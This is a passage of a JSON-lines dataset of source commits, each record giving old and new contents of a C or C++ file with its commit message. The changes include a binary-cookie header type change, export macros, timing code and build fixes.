91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"8aeecdc8e131ee74d891017b628181409330f509","old_file":"bincookie.h","new_file":"bincookie.h","old_contents":"#ifndef _BINCOOKIE_H\n#define _BINCOOKIE_H\n\n#if defined(_MSC_VER)\n#define uint32_t DWORD\n#else\n#include <stdint.h>\n#endif\n\n#define binarycookies_is_secure(cookie_ptr) (cookie_ptr->flags & secure)\n#define binarycookies_domain_access_full(cookie_ptr) (cookie_ptr->domain[0] == '.')\n\ntypedef enum {\n    secure = 1,\n    http_only = 1 << 2,\n} binarycookies_flag;\n\ntypedef struct {\n    uint32_t size;\n    unsigned char unk1[4];\n    binarycookies_flag flags;\n    unsigned char unk2[4];\n\n    double creation_date;\n    double expiration_date;\n    char *domain;\n    char *name;\n    char *path;\n    char *value;\n} binarycookies_cookie_t;\n\ntypedef struct {\n    unsigned char unk1[4]; \/\/ always 0x0 0x0 0x1 0x0\n    uint32_t number_of_cookies;\n    binarycookies_cookie_t **cookies;\n} binarycookies_page_t;\n\ntypedef struct {\n    unsigned char magic[4]; \/\/ \"cook\"\n    uint32_t num_pages;\n    uint32_t *page_sizes;\n    char **raw_pages;\n    binarycookies_page_t **pages;\n} binarycookies_t;\n\nbinarycookies_t *binarycookies_init(const char *file_path);\nvoid binarycookies_free(binarycookies_t *cfile);\n\n#endif \/\/ _BINCOOKIE_H\n","new_contents":"#ifndef _BINCOOKIE_H\n#define _BINCOOKIE_H\n\n#if defined(_MSC_VER)\n#define uint32_t DWORD\n#else\n#include <stdint.h>\n#endif\n\n#include <time.h>\n\n#define binarycookies_is_secure(cookie_ptr) (cookie_ptr->flags & secure)\n#define binarycookies_domain_access_full(cookie_ptr) (cookie_ptr->domain[0] == '.')\n\ntypedef enum {\n    secure = 1,\n    http_only = 1 << 2,\n} binarycookies_flag;\n\ntypedef struct {\n    uint32_t size;\n    unsigned char unk1[4];\n    binarycookies_flag flags;\n    unsigned char unk2[4];\n\n    time_t creation_time;\n    time_t expiration_time;\n    char *domain;\n    char *name;\n    char *path;\n    char *value;\n} binarycookies_cookie_t;\n\ntypedef struct {\n    unsigned char unk1[4]; \/\/ always 0x0 0x0 0x1 0x0\n    uint32_t number_of_cookies;\n    binarycookies_cookie_t **cookies;\n} binarycookies_page_t;\n\ntypedef struct {\n    unsigned char magic[4]; \/\/ \"cook\"\n    uint32_t num_pages;\n    uint32_t *page_sizes;\n    char **raw_pages;\n    binarycookies_page_t **pages;\n} binarycookies_t;\n\nbinarycookies_t *binarycookies_init(const char *file_path);\nvoid binarycookies_free(binarycookies_t *cfile);\n\n#endif \/\/ _BINCOOKIE_H\n","subject":"Change time type from double to time_t","message":"Change time type from double to time_t\n","lang":"C","license":"mit","repos":"Tatsh\/libbinarycookies,Tatsh\/libbinarycookies"}
{"commit":"8080671a54f759e5d3ad8158b56c4db9e295feac","old_file":"helloworld.c","new_file":"helloworld.c","old_contents":"","new_contents":"#include <stdio.h>\n\n\/\/ This test program is provided to enable a quick test of PDCLib's console I\/O\n\/\/ functions\n\nint main(int argc, char** argv)\n{\n    printf(\"Hello world\\n\");\n}","subject":"Add hello world file which can be used to establish that the I\/O routines are working","message":"Add hello world file which can be used to establish that the I\/O routines are working\n","lang":"C","license":"cc0-1.0","repos":"blanham\/PDChickenLib,blanham\/PDCLib,blanham\/PDChickenLib,blanham\/PDCLib,blanham\/PDCLib,blanham\/PDChickenLib"}
{"commit":"8beb08cb2432f73348ea370c556f4daeccdcaf36","old_file":"type-offset.c","new_file":"type-offset.c","old_contents":"#include <sys\/types.h>\n#include <stdio.h>\n#include <limits.h>\n\nint\nmain (void)\n{\n  const unsigned long long bits       = sizeof (off_t) * CHAR_BIT;\n  const unsigned long long shift_bits = bits - 2;\n  const unsigned long long off_max    = 1LL << shift_bits;\n\n  (void) printf (\"  type Offset_t is range -%llu .. %llu;\\n\", off_max, off_max);\n  (void) printf (\"  for Offset_t'Size use %llu;\\n\", bits);\n  (void) printf (\"  pragma Convention (C, Offset_t);\\n\");\n\n  return 0;\n}\n","new_contents":"#include <sys\/types.h>\n#include <stdio.h>\n#include <limits.h>\n\nint\nmain (void)\n{\n  const unsigned long long bits       = sizeof (off_t) * CHAR_BIT;\n  const unsigned long long shift_bits = bits - 1;\n  const unsigned long long off_max    = 1LL << shift_bits;\n\n  (void) printf (\"  type Offset_t is range -%llu .. %llu;\\n\", off_max, off_max);\n  (void) printf (\"  for Offset_t'Size use %llu;\\n\", bits);\n  (void) printf (\"  pragma Convention (C, Offset_t);\\n\");\n\n  return 0;\n}\n","subject":"Fix to 64 bit offsets.","message":"Fix to 64 bit offsets.\n","lang":"C","license":"isc","repos":"io7m\/coreland-posix-ada,io7m\/coreland-posix-ada,io7m\/coreland-posix-ada"}
{"commit":"4eb1bb8f4756e8afe1362d1bb95e8491cabdf332","old_file":"src\/posix_clock.c","new_file":"src\/posix_clock.c","old_contents":"","new_contents":"#define _POSIX_C_SOURCE 199309L\n\n#include <unistd.h>\n#include <time.h>\n#include <stdio.h>\n\n#ifdef _POSIX_TIMERS\nstatic clockid_t clock_type;\n#endif\n\n\/** Checks whether we have support for POSIX timers on this system.\nSets the clock type and queries the resolution (in seconds). Returns 1 if\nPOSIX timers are supported and 0 otherwise *\/\nint posix_clock_init(double *res){\n  int ierr;\n  struct timespec ts;\n\n#ifdef _POSIX_TIMERS\n\n#ifdef _POSIX_MONOTONIC_CLOCK\n  clock_type = CLOCK_MONOTONIC;\n#else\n  clock_type = CLOCK_REALTIME;\n#endif\n\n  ierr = clock_getres(clock_type, &ts);\n  *res = (double)(ts.tv_sec) + 1.0e-9*ts.tv_nsec;\n  return 1;\n#else\n  \/* This system doesn't have support for POSIX timers *\/\n  fprintf(stderr, \"TIMING: ERROR: POSIX TIMERS not available.\\n\");\n  *res = 0.0;\n  return 0;\n#endif\n\n}\n\n\/** Returns the current time (in seconds) as measured by the clock selected\n    in posix_clock_init() *\/\ndouble posix_clock(void){\n  int ierr;\n  struct timespec ts;\n  double tnow;\n\n#ifdef _POSIX_TIMERS\n  ierr = clock_gettime(clock_type, &ts);\n  tnow = (double)(ts.tv_sec) + 1.0e-9*ts.tv_nsec;\n#else\n  tnow = 0.0;\n#endif\n\n  return tnow;\n}\n","subject":"Add source for posix timing","message":"Add source for posix timing\n","lang":"C","license":"mit","repos":"schreiberx\/perf_regions,schreiberx\/perf_regions,schreiberx\/perf_regions,schreiberx\/perf_regions"}
{"commit":"16e0b0cb9c40169a646660f492617c037e8acafe","old_file":"lelib\/lelib.h","new_file":"lelib\/lelib.h","old_contents":"\/\/\n\/\/  lelib.h\n\/\/  lelib\n\/\/\n\/\/  Created by Petr on 27.10.13.\n\/\/  Copyright (c) 2013,2014 Logentries. All rights reserved.\n\/\/\n\n#ifndef LE_DEBUG_LOGS\n    #ifdef DEBUG\n        #define LE_DEBUG_LOGS 1\n    #else\n        #define LE_DEBUG_LOGS 0\n    #endif\n#endif\n\n#if LE_DEBUG_LOGS\n#define LE_DEBUG(...)         NSLog(__VA_ARGS__)\n#else\n#define LE_DEBUG(...)\n#endif\n\n#import \"LELog.h\"\n#import \"lecore.h\"\n","new_contents":"\/\/\n\/\/  lelib.h\n\/\/  lelib\n\/\/\n\/\/  Created by Petr on 27.10.13.\n\/\/  Copyright (c) 2013,2014 Logentries. All rights reserved.\n\/\/\n\n#ifndef LE_DEBUG_LOGS\n\/\/    #ifdef DEBUG\n\/\/        #define LE_DEBUG_LOGS 1\n\/\/    #else\n        #define LE_DEBUG_LOGS 0\n\/\/    #endif\n#endif\n\n#if LE_DEBUG_LOGS\n#define LE_DEBUG(...)         NSLog(__VA_ARGS__)\n#else\n#define LE_DEBUG(...)\n#endif\n\n#import \"LELog.h\"\n#import \"lecore.h\"\n","subject":"Disable LE's own debug log spam","message":"Disable LE's own debug log spam","lang":"C","license":"mit","repos":"JohnLemberger\/le_ios"}
{"commit":"ef157b1acb6dbc241b4b9d2f834164e0858f21a9","old_file":"src\/lib\/lib.h","new_file":"src\/lib\/lib.h","old_contents":"#ifndef __LIB_H\n#define __LIB_H\n\n\/* default lib includes *\/\n#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n\n\/* default system includes - keep these at minimum.. *\/\n#include <string.h> \/* strcmp() etc. *\/\n#ifdef HAVE_STRINGS_H\n#  include <strings.h> \/* strcasecmp() etc. *\/\n#endif\n#include <stdarg.h> \/* va_list is used everywhere *\/\n#include <limits.h> \/* INT_MAX, etc. *\/\n#include <errno.h> \/* error checking is good *\/\n#include <sys\/types.h> \/* many other includes want this *\/\n\n#ifdef HAVE_STDINT_H\n#  include <stdint.h> \/* C99 int types, we mostly need uintmax_t *\/\n#endif\n\n#include \"compat.h\"\n#include \"macros.h\"\n#include \"failures.h\"\n\n#include \"data-stack.h\"\n#include \"mempool.h\"\n#include \"imem.h\"\n\ntypedef struct buffer buffer_t;\ntypedef struct buffer string_t;\n\nstruct istream;\nstruct ostream;\n\n#include \"array-decl.h\" \/* ARRAY_DEFINE()s may exist in any header *\/\n#include \"strfuncs.h\"\n\nsize_t nearest_power(size_t num);\n\nvoid lib_init(void);\nvoid lib_deinit(void);\n\n#endif\n","new_contents":"#ifndef __LIB_H\n#define __LIB_H\n\n\/* default lib includes *\/\n#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n\n\/* default system includes - keep these at minimum.. *\/\n#include <stddef.h> \/* Solaris defines NULL wrong unless this is used *\/\n#include <string.h> \/* strcmp() etc. *\/\n#ifdef HAVE_STRINGS_H\n#  include <strings.h> \/* strcasecmp() etc. *\/\n#endif\n#include <stdarg.h> \/* va_list is used everywhere *\/\n#include <limits.h> \/* INT_MAX, etc. *\/\n#include <errno.h> \/* error checking is good *\/\n#include <sys\/types.h> \/* many other includes want this *\/\n\n#ifdef HAVE_STDINT_H\n#  include <stdint.h> \/* C99 int types, we mostly need uintmax_t *\/\n#endif\n\n#include \"compat.h\"\n#include \"macros.h\"\n#include \"failures.h\"\n\n#include \"data-stack.h\"\n#include \"mempool.h\"\n#include \"imem.h\"\n\ntypedef struct buffer buffer_t;\ntypedef struct buffer string_t;\n\nstruct istream;\nstruct ostream;\n\n#include \"array-decl.h\" \/* ARRAY_DEFINE()s may exist in any header *\/\n#include \"strfuncs.h\"\n\nsize_t nearest_power(size_t num);\n\nvoid lib_init(void);\nvoid lib_deinit(void);\n\n#endif\n","subject":"Include stddef.h always to make NULL expand correctly in Solaris.","message":"Include stddef.h always to make NULL expand correctly in Solaris.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"00c99f556862333b85c4e2b6df87f8af95272b22","old_file":"src\/map\/map.h","new_file":"src\/map\/map.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"..\/common\/vec.h\"\n#include \"structure.h\"\n\n#include \"..\/gfx\/immediate_renderer.h\"\nnamespace game\n{\n  using pos_t = Vec<float>;\n\n  struct Structure_Instance\n  {\n    Structure_Instance(Structure const&, pos_t pos) noexcept;\n    ~Structure_Instance() noexcept = default;\n\n    void set_structure_type(Structure const& s) noexcept;\n    Structure const& structure() const noexcept;\n\n    pos_t position;\n  private:\n    Structure const* s_type_;\n  };\n\n  void render_structure(gfx::IDriver& d, Structure const& st,\n                        pos_t pos) noexcept;\n  inline void render_structure_instance(gfx::IDriver& d,\n                                        Structure_Instance const& st) noexcept\n  {\n    render_structure(d, st.structure(), st.position);\n  }\n\n  struct Map\n  {\n    Map(Vec<float> map_extents) noexcept : extents(map_extents) {}\n\n    std::vector<Structure_Instance> structures;\n\n    Vec<float> extents;\n  };\n\n  bool try_structure_place(Map& map, Structure const& st, pos_t pos,\n                           gfx::Immediate_Renderer* = nullptr) noexcept;\n}\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"..\/common\/vec.h\"\n#include \"structure.h\"\n\n#include \"..\/gfx\/immediate_renderer.h\"\nnamespace game\n{\n  using pos_t = Vec<float>;\n\n  struct Structure_Instance\n  {\n    Structure_Instance(Structure const&, pos_t pos) noexcept;\n    ~Structure_Instance() noexcept = default;\n\n    void set_structure_type(Structure const& s) noexcept;\n    Structure const& structure() const noexcept;\n\n    pos_t position;\n  private:\n    Structure const* s_type_;\n  };\n\n  void render_structure(gfx::IDriver& d, Structure const& st,\n                        pos_t pos) noexcept;\n  inline void render_structure_instance(gfx::IDriver& d,\n                                        Structure_Instance const& st) noexcept\n  {\n    render_structure(d, st.structure(), st.position);\n  }\n\n  struct Map\n  {\n    Map(Vec<float> map_extents) noexcept : extents(map_extents) {}\n\n    boost::optional<Structure_Instance> pending_structure;\n    std::vector<Structure_Instance> structures;\n\n    Vec<float> extents;\n  };\n\n  bool try_structure_place(Map& map, Structure const& st, pos_t pos,\n                           gfx::Immediate_Renderer* = nullptr) noexcept;\n}\n","subject":"Add a member to Map for the pending structure","message":"Add a member to Map for the pending structure\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"98e5b672422ca1e38ca38ff0357cee6cc936aee0","old_file":"lang\/cpp\/src\/gpgmepp_export.h","new_file":"lang\/cpp\/src\/gpgmepp_export.h","old_contents":"\n#ifndef GPGMEPP_EXPORT_H\n#define GPGMEPP_EXPORT_H\n\n#ifdef GPGMEPP_STATIC_DEFINE\n#  define GPGMEPP_EXPORT\n#  define GPGMEPP_NO_EXPORT\n#else\n#  ifndef GPGMEPP_EXPORT\n#    ifdef KF5Gpgmepp_EXPORTS\n        \/* We are building this library *\/\n#      define GPGMEPP_EXPORT __attribute__((visibility(\"default\")))\n#    else\n        \/* We are using this library *\/\n#      define GPGMEPP_EXPORT __attribute__((visibility(\"default\")))\n#    endif\n#  endif\n\n#  ifndef GPGMEPP_NO_EXPORT\n#    define GPGMEPP_NO_EXPORT __attribute__((visibility(\"hidden\")))\n#  endif\n#endif\n\n#ifndef GPGMEPP_DEPRECATED\n#  define GPGMEPP_DEPRECATED __attribute__ ((__deprecated__))\n#endif\n\n#ifndef GPGMEPP_DEPRECATED_EXPORT\n#  define GPGMEPP_DEPRECATED_EXPORT GPGMEPP_EXPORT GPGMEPP_DEPRECATED\n#endif\n\n#ifndef GPGMEPP_DEPRECATED_NO_EXPORT\n#  define GPGMEPP_DEPRECATED_NO_EXPORT GPGMEPP_NO_EXPORT GPGMEPP_DEPRECATED\n#endif\n\n#define DEFINE_NO_DEPRECATED 0\n#if DEFINE_NO_DEPRECATED\n# define GPGMEPP_NO_DEPRECATED\n#endif\n\n#endif\n","new_contents":"\n#ifndef GPGMEPP_EXPORT_H\n#define GPGMEPP_EXPORT_H\n\n#ifdef GPGMEPP_STATIC_DEFINE\n#  define GPGMEPP_EXPORT\n#  define GPGMEPP_NO_EXPORT\n#else\n#  ifndef GPGMEPP_EXPORT\n#    ifdef BUILDING_GPGMEPP\n        \/* We are building this library *\/\n#      ifdef WIN32\n#       define GPGMEPP_EXPORT __declspec(dllexport)\n#      else\n#       define GPGMEPP_EXPORT __attribute__((visibility(\"default\")))\n#      endif\n#    else\n        \/* We are using this library *\/\n#      ifdef WIN32\n#       define GPGMEPP_EXPORT __declspec(dllimport)\n#      else\n#       define GPGMEPP_EXPORT __attribute__((visibility(\"default\")))\n#      endif\n#    endif\n#  endif\n\n#  ifndef GPGMEPP_NO_EXPORT\n#    ifdef WIN32\n#     define GPGMEPP_NO_EXPORT\n#    else\n#     define GPGMEPP_NO_EXPORT __attribute__((visibility(\"hidden\")))\n#    endif\n#  endif\n#endif\n\n#ifndef GPGMEPP_DEPRECATED\n#  define GPGMEPP_DEPRECATED __attribute__ ((__deprecated__))\n#endif\n\n#ifndef GPGMEPP_DEPRECATED_EXPORT\n#  define GPGMEPP_DEPRECATED_EXPORT GPGMEPP_EXPORT GPGMEPP_DEPRECATED\n#endif\n\n#ifndef GPGMEPP_DEPRECATED_NO_EXPORT\n#  define GPGMEPP_DEPRECATED_NO_EXPORT GPGMEPP_NO_EXPORT GPGMEPP_DEPRECATED\n#endif\n\n#define DEFINE_NO_DEPRECATED 0\n#if DEFINE_NO_DEPRECATED\n# define GPGMEPP_NO_DEPRECATED\n#endif\n\n#endif\n","subject":"Fix export header and windows export macros","message":"Fix export header and windows export macros\n\n* lang\/cpp\/src\/gpgme_export.h: Fix variable name. Add Windows ifdefs.\n","lang":"C","license":"lgpl-2.1","repos":"gpg\/gpgme,gpg\/gpgme,gpg\/gpgme,gpg\/gpgme,gpg\/gpgme,gpg\/gpgme,gpg\/gpgme"}
{"commit":"1ad4a72ba51234a45e3e3a294676e1ab3e758d0e","old_file":"lab5-btree-in-c\/bTree.h","new_file":"lab5-btree-in-c\/bTree.h","old_contents":"#ifndef __STACK__\n#define __STACK__\n\n\nstruct btreeNode { \n  int data; \n  struct btreeNode * left;\n  struct btreeNode * right; \n};\n\ntypedef struct btreeNode * btreeNode_t; \n\ntypedef struct { \n  btreeNode_t root; \n}btree;\n\ntypedef btree * btree_t; \n\nbtree_t newTree(void); \nint addNode(btree_t, int); \nvoid inOrder(btree_t); \n\n\n#endif\n\n\n\n  \n","new_contents":"#ifndef __STACK__\n#define __STACK__\n\n\nstruct btreeNode { \n  int data; \n  struct btreeNode * left;\n  struct btreeNode * right; \n};\n\ntypedef struct btreeNode * btreeNode_t; \n\ntypedef struct { \n  btreeNode_t root; \n}btree;\n\ntypedef btree * btree_t; \n\nbtree_t newTree(void); \nint addNode(btree_t, int); \nvoid inOrder(btree_t); \nvoid inOrder_iter(btree_t);\n\n\n#endif\n\n\n\n  \n","subject":"Add inOrder_iter() signature to header","message":"Add inOrder_iter() signature to header\n","lang":"C","license":"mit","repos":"NirmalL\/AlgorithmsLabs,NirmalL\/AlgorithmsLabs,NirmalL\/AlgorithmsLabs"}
{"commit":"ff9686efe890dfd8bb0735664582625c1b17b495","old_file":"lib\/neatogen\/delaunay.h","new_file":"lib\/neatogen\/delaunay.h","old_contents":"","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef DELAUNAY_H\n#define DELAUNAY_H\n\n#include \"sparsegraph.h\"\n\nv_data *delaunay_triangulation(double *x, double *y, int n);\n\nint *delaunay_tri (double *x, double *y, int n, int* nedges);\n\nv_data *UG_graph(double *x, double *y, int n, int accurate_computation);\n\n#endif\n","subject":"Integrate topfish and sfdp into main tree, using GTS for triangulation; remove duplicated code","message":"Integrate topfish and sfdp into main tree, using GTS for triangulation;\nremove duplicated code\n","lang":"C","license":"epl-1.0","repos":"jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz"}
{"commit":"674a7580b153119527f92582465524a09627c1e9","old_file":"Tools\/Parser\/UnicodeVersion.h","new_file":"Tools\/Parser\/UnicodeVersion.h","old_contents":"\/*\n * Copyright (C) 2015 Muhammad Tayyab Akram\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SHEENBIDI_PARSER_UNICODE_VERSION_H\n#define SHEENBIDI_PARSER_UNICODE_VERSION_H\n\n#include <string>\n\nnamespace SheenBidi {\nnamespace Parser {\n\nclass UnicodeVersion {\npublic:\n    UnicodeVersion(const std::string &versionLine);\n\n    int major() const;\n    int minor() const;\n    int micro() const;\n    const std::string &versionString() const;\n\nprivate:\n    int m_major;\n    int m_minor;\n    int m_micro;\n    std::string m_versionString;\n};\n\n}\n}\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2015 Muhammad Tayyab Akram\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SHEENBIDI_PARSER_UNICODE_VERSION_H\n#define SHEENBIDI_PARSER_UNICODE_VERSION_H\n\n#include <string>\n#ifdef major\n#undef major\n#endif\n#ifdef minor\n#undef minor\n#endif\n\nnamespace SheenBidi {\nnamespace Parser {\n\nclass UnicodeVersion {\npublic:\n    UnicodeVersion(const std::string &versionLine);\n\n    int major() const;\n    int minor() const;\n    int micro() const;\n    const std::string &versionString() const;\n\nprivate:\n    int m_major;\n    int m_minor;\n    int m_micro;\n    std::string m_versionString;\n};\n\n}\n}\n\n#endif\n","subject":"Fix warnings about major and minor macros","message":"Fix warnings about major and minor macros\n\nTools\/Parser\/UnicodeVersion.h:29:13: warning: In the GNU C Library, \"major\" is defined\n by <sys\/sysmacros.h>. For historical compatibility, it is\n currently defined by <sys\/types.h> as well, but we plan to\n remove this soon. To use \"major\", include <sys\/sysmacros.h>\n directly. If you did not intend to use a system-defined macro\n \"major\", you should undefine it after including <sys\/types.h>.\n     int major() const;\n             ^~~~~~~~~~\nIn file included from Tools\/Parser\/BidiMirroring.h:24:0,\n                 from Tools\/Tester\/MirrorTester.cpp:26:\nTools\/Parser\/UnicodeVersion.h:30:13: warning: In the GNU C Library, \"minor\" is defined\n by <sys\/sysmacros.h>. For historical compatibility, it is\n currently defined by <sys\/types.h> as well, but we plan to\n remove this soon. To use \"minor\", include <sys\/sysmacros.h>\n directly. If you did not intend to use a system-defined macro\n \"minor\", you should undefine it after including <sys\/types.h>.\n     int minor() const;\n             ^~~~~~~~~~\n","lang":"C","license":"apache-2.0","repos":"mta452\/SheenBidi,mta452\/SheenBidi"}
{"commit":"194dfdea3af930f0e16d5f3f34876cb1d5cc63a9","old_file":"include\/effects\/SkArithmeticImageFilter.h","new_file":"include\/effects\/SkArithmeticImageFilter.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkArithmeticImageFilter_DEFINED\n#define SkArithmeticImageFilter_DEFINED\n\n#include \"include\/core\/SkImageFilter.h\"\n\nstruct ArithmeticFPInputs {\n    ArithmeticFPInputs(float k0, float k1, float k2, float k3, bool enforcePMColor) {\n        memset(this, 0, sizeof(*this));\n        fK[0] = k0;\n        fK[1] = k1;\n        fK[2] = k2;\n        fK[3] = k3;\n        fEnforcePMColor = enforcePMColor;\n    }\n\n    float fK[4];\n    bool  fEnforcePMColor;\n};\n\n\/\/ DEPRECATED: Use include\/effects\/SkImageFilters::Arithmetic\nclass SK_API SkArithmeticImageFilter {\npublic:\n    static sk_sp<SkImageFilter> Make(float k1, float k2, float k3, float k4, bool enforcePMColor,\n                                     sk_sp<SkImageFilter> background,\n                                     sk_sp<SkImageFilter> foreground,\n                                     const SkImageFilter::CropRect* cropRect);\n\n    static void RegisterFlattenables();\n\nprivate:\n    SkArithmeticImageFilter();  \/\/ can't instantiate\n};\n\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkArithmeticImageFilter_DEFINED\n#define SkArithmeticImageFilter_DEFINED\n\n#include \"include\/core\/SkImageFilter.h\"\n\nstruct ArithmeticFPInputs {\n    ArithmeticFPInputs(float k0, float k1, float k2, float k3, bool enforcePMColor) {\n        \/\/ We copy instances of this struct as the input data blob for the  SkSL FP. The FP\n        \/\/ may try to access all of our bytes (for comparison purposes), so be sure to zero out\n        \/\/ any padding after the dangling bool.\n        memset(this, 0, sizeof(*this));\n        fK[0] = k0;\n        fK[1] = k1;\n        fK[2] = k2;\n        fK[3] = k3;\n        fEnforcePMColor = enforcePMColor;\n    }\n\n    float fK[4];\n    bool  fEnforcePMColor;\n};\n\n\/\/ DEPRECATED: Use include\/effects\/SkImageFilters::Arithmetic\nclass SK_API SkArithmeticImageFilter {\npublic:\n    static sk_sp<SkImageFilter> Make(float k1, float k2, float k3, float k4, bool enforcePMColor,\n                                     sk_sp<SkImageFilter> background,\n                                     sk_sp<SkImageFilter> foreground,\n                                     const SkImageFilter::CropRect* cropRect);\n\n    static void RegisterFlattenables();\n\nprivate:\n    SkArithmeticImageFilter();  \/\/ can't instantiate\n};\n\n#endif\n","subject":"Add comment explaining memset in ArithmeticFPInputs","message":"Add comment explaining memset in ArithmeticFPInputs\n\nChange-Id: I1541e3f4629a117eee3f244c0209e442b705b67b\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/268844\nAuto-Submit: Brian Osman <794c0b5534edf5601d88e1d41975d0262da12894@google.com>\nReviewed-by: Brian Osman <794c0b5534edf5601d88e1d41975d0262da12894@google.com>\nCommit-Queue: Brian Osman <794c0b5534edf5601d88e1d41975d0262da12894@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"bedd7a18966bdfc10ec01d64e30aa359f217941a","old_file":"android\/hal-log.h","new_file":"android\/hal-log.h","old_contents":"\/*\n * Copyright (C) 2013 Intel Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#define LOG_TAG \"BlueZ\"\n\n#ifdef __BIONIC__\n#include <cutils\/log.h>\n#else\n#include <stdio.h>\n#define LOG_INFO \" I\"\n#define LOG_WARN \" W\"\n#define LOG_ERROR \" E\"\n#define LOG_DEBUG \" D\"\n#define ALOG(pri, tag, fmt, arg...) printf(tag pri\": \" fmt\"\\n\", ##arg)\n#endif\n\n#define info(fmt, arg...) ALOG(LOG_INFO, LOG_TAG, fmt, ##arg)\n#define warn(fmt, arg...) ALOG(LOG_WARN, LOG_TAG, fmt, ##arg)\n#define error(fmt, arg...) 